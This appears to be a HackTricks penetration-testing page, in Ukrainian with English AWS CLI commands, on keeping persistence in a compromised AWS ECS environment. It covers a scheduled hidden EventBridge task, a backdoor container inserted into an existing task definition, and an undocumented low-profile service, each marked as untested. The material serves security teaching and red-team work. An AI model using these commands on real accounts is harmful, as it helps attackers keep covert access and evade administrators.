# AWS - ECS Persistence {{#include ../../../banners/hacktricks-training.md}} ## ECS Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} ### Схована періодична ECS задача > [!NOTE] > TODO: Test Зловмисник може створити сховану періодичну ECS задачу, використовуючи Amazon EventBridge, щоб **планувати виконання шкідливої задачі періодично**. Ця задача може виконувати розвідку, ексфільтрувати дані або підтримувати стійкість у обліковому записі AWS. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ { "name": "malicious-container", "image": "malicious-image:latest", "memory": 256, "cpu": 10, "essential": true } ]' # Create an Amazon EventBridge rule to trigger the task periodically aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" # Add a target to the rule to run the malicious ECS task aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ { "Id": "malicious-ecs-task-target", "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", "EcsParameters": { "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", "TaskCount": 1 } } ]' ``` ### Backdoor Container in Existing ECS Task Definition > [!NOTE] > TODO: Test Зловмисник може додати **прихований бекдор-контейнер** в існуюче визначення завдання ECS, який працює поряд з легітимними контейнерами. Бекдор-контейнер може використовуватися для збереження доступу та виконання шкідливих дій. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ { "name": "legitimate-container", "image": "legitimate-image:latest", "memory": 256, "cpu": 10, "essential": true }, { "name": "backdoor-container", "image": "malicious-image:latest", "memory": 256, "cpu": 10, "essential": false } ]' ``` ### Undocumented ECS Service > [!NOTE] > TODO: Test Зловмисник може створити **недокументований ECS сервіс**, який виконує шкідливе завдання. Встановивши бажану кількість завдань на мінімум і вимкнувши ведення журналів, адміністраторам стає важче помітити шкідливий сервіс. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ { "name": "malicious-container", "image": "malicious-image:latest", "memory": 256, "cpu": 10, "essential": true } ]' # Create an undocumented ECS service with the malicious task definition aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" ``` {{#include ../../../banners/hacktricks-training.md}}